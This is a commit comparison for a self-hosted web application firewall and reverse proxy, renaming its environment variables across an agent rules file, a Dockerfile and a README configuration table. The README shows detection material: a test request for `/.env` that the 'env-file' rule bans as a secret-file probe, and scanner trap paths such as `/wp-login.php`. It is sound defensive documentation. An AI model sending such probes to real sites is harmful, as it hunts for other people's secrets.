Compare commits
4
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
 sneak
|
7f8a59de04 | ||
 clawbot
|
63e58e326b | ||
|
clawbot
|
f9bec5146b | ||
|
clawbot
|
883969a9cd |
No files matched your search
@@ -30,7 +30,7 @@ These are the rules for agents working on this repository.
|
|||||||
- Secrets belong in POST data. An app that puts a secret in a query string
|
- Secrets belong in POST data. An app that puts a secret in a query string
|
||||||
is fixed in the app.
|
is fixed in the app.
|
||||||
- Never propose redacting a query string, Gitea's `?token=` included.
|
- Never propose redacting a query string, Gitea's `?token=` included.
|
||||||
- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set.
|
- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set.
|
||||||
- The set is:
|
- The set is:
|
||||||
- `10.0.0.0/8`;
|
- `10.0.0.0/8`;
|
||||||
- `172.16.0.0/12`;
|
- `172.16.0.0/12`;
|
||||||
|
|||||||
+3
-3
@@ -221,12 +221,12 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
||||||
sww
|
sww
|
||||||
|
|
||||||
# The state files' directory, SWW_WAF_STATE_DIR by default, where a volume
|
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||||
# is mounted to keep them across deploys. At each start of waf, the run
|
# is mounted to keep them across deploys. At each start of waf, the run
|
||||||
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
|
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||||
# built FROM this image can copy rule files of its own beside it.
|
# built FROM this image can copy rule files of its own beside it.
|
||||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||||
|
|
||||||
|
|||||||
@@ -12,8 +12,7 @@ shipped in one image, with two commands that do this together:
|
|||||||
|
|
||||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||||
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
it. It asks `waf` about each request, passes the allowed ones to the app, and
|
||||||
passes the app's answers back. It keeps nothing between requests and writes
|
passes the app's answers back. It keeps nothing and never touches disk.
|
||||||
nothing to disk.
|
|
||||||
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
- `sww waf` decides. It runs the checks and keeps the bans, the counters and
|
||||||
each client's history. One `waf` serves many sites: a client banned through
|
each client's history. One `waf` serves many sites: a client banned through
|
||||||
one site is refused on all of them, and its requests on all of them count
|
one site is refused on all of them, and its requests on all of them count
|
||||||
@@ -91,9 +90,8 @@ accepts connections, whether or not `waf` answers; in `waf`'s container, once
|
|||||||
The usual setup is three containers on one private network:
|
The usual setup is three containers on one private network:
|
||||||
|
|
||||||
- the app;
|
- the app;
|
||||||
- `rproxy`, in front of the app, which traefik routes to:
|
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
||||||
`SWW_RPROXY_WAF_BACKEND` names `waf` and `SWW_RPROXY_UPSTREAM_URL` names the
|
names `waf` and `SWRP_UPSTREAM_URL` names the app;
|
||||||
app;
|
|
||||||
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state
|
||||||
files.
|
files.
|
||||||
|
|
||||||
@@ -102,8 +100,8 @@ Point traefik's labels at port 8080 of `rproxy`
|
|||||||
of the app or of `waf`. Anything on that network can reach the app around
|
of the app or of `waf`. Anything on that network can reach the app around
|
||||||
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
`rproxy`, and can ask `waf` questions, so the network holds only what you trust.
|
||||||
Each further app adds its own container and its own `rproxy`, whose
|
Each further app adds its own container and its own `rproxy`, whose
|
||||||
`SWW_RPROXY_WAF_BACKEND` names the same `waf`. The "Smallest setup" example
|
`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below
|
||||||
below shows this shape.
|
shows this shape.
|
||||||
|
|
||||||
### `rproxy` in the app's container
|
### `rproxy` in the app's container
|
||||||
|
|
||||||
@@ -116,7 +114,7 @@ digest, and adds:
|
|||||||
- the packages the app needs, from the nixpkgs in the image;
|
- the packages the app needs, from the nixpkgs in the image;
|
||||||
- a user for the app;
|
- a user for the app;
|
||||||
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
|
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
|
||||||
of `SWW_RPROXY_UPSTREAM_URL`.
|
of `SWRP_UPSTREAM_URL`.
|
||||||
|
|
||||||
```dockerfile
|
```dockerfile
|
||||||
# The smallwebwaf image, pinned by digest.
|
# The smallwebwaf image, pinned by digest.
|
||||||
@@ -152,8 +150,8 @@ main "$@"
|
|||||||
|
|
||||||
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
|
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
|
||||||
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
||||||
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
|
the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an
|
||||||
an app, and the "`rproxy` beside the app" example below runs one.
|
app, and the "`rproxy` beside the app" example below runs one.
|
||||||
|
|
||||||
The app sees the headers traefik sent, with traefik's address added to
|
The app sees the headers traefik sent, with traefik's address added to
|
||||||
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
||||||
@@ -172,13 +170,12 @@ does.
|
|||||||
- A request to the site through traefik gets the app's answer.
|
- A request to the site through traefik gets the app's answer.
|
||||||
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the
|
||||||
request have `"action":"forward"`.
|
request have `"action":"forward"`.
|
||||||
- To see a refusal without banning yourself, run `waf` with
|
- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe`
|
||||||
`SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app.
|
and ask for `/.env`. The request reaches the app. `waf`'s log lines have
|
||||||
`waf`'s log lines have `"would_action":"temporarily_banned"` and
|
`"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you
|
||||||
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
get in `enforce` mode is lifted as "Clients and bans" below describes.
|
||||||
"Clients and bans" below describes.
|
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||||
- With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host
|
`waf`'s network:
|
||||||
on `waf`'s network:
|
|
||||||
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
|
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`.
|
||||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||||
the whole exchange (see "Entrypoints").
|
the whole exchange (see "Entrypoints").
|
||||||
@@ -186,17 +183,18 @@ does.
|
|||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
Every setting is an environment variable, read once at start; changing one means
|
Every setting is an environment variable, read once at start; changing one means
|
||||||
restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and
|
restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf`
|
||||||
`waf` only the `SWW_WAF_` ones. Every setting but `SWW_RPROXY_WAF_BACKEND` has a
|
only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen
|
||||||
default, chosen for a service on the open internet. A setting that needs an
|
for a service on the open internet. A setting that needs an account, a key, a
|
||||||
account, a key, a token or an alert destination stays off until you give one.
|
token or an alert destination stays off until you give one.
|
||||||
|
|
||||||
- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for
|
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
||||||
secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds
|
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
||||||
`SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at
|
contents are the value, less one newline at the end. Setting both forms stops
|
||||||
the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE`
|
the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
|
||||||
and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have
|
`SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
|
||||||
no `_FILE` form. `SWW_COMMAND` cannot be given as a file.
|
`_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
|
||||||
|
one, since `rproxy` never touches disk.
|
||||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
||||||
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
||||||
1024: `512K`, `100M`, `5G`.
|
1024: `512K`, `100M`, `5G`.
|
||||||
@@ -212,133 +210,132 @@ account, a key, a token or an alert destination stays off until you give one.
|
|||||||
setting takes it.
|
setting takes it.
|
||||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||||
app's response bodies, the visitors' request bodies, or both, as
|
app's response bodies, the visitors' request bodies, or both, as
|
||||||
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
|
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
|
||||||
over a WebSocket counts as request bytes, and what the app sent as response
|
a WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||||
bytes.
|
|
||||||
- An invalid setting stops the process at start with one log line naming the
|
- An invalid setting stops the process at start with one log line naming the
|
||||||
variable and what is wrong with the value. The settings in effect are logged
|
variable and what is wrong with the value. The settings in effect are logged
|
||||||
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
||||||
|
|
||||||
Every setting the code reads, with its default:
|
Every setting the code reads, with its default:
|
||||||
|
|
||||||
| Variable | Default | What it does |
|
| Variable | Default | What it does |
|
||||||
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||||
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
| `SWRP_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||||
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||||
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||||
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||||
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||||
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||||
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||||
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||||
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||||
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||||
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
| `SWW_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||||
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||||
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||||
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||||
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||||
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
| `SWW_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||||
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||||
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||||
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||||
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||||
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||||
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||||
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||||
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||||
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||||
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||||
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||||
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||||
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||||
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||||
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||||
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||||
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||||
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||||
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||||
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||||
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||||
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||||
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||||
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||||
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||||
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||||
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||||
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||||
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||||
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
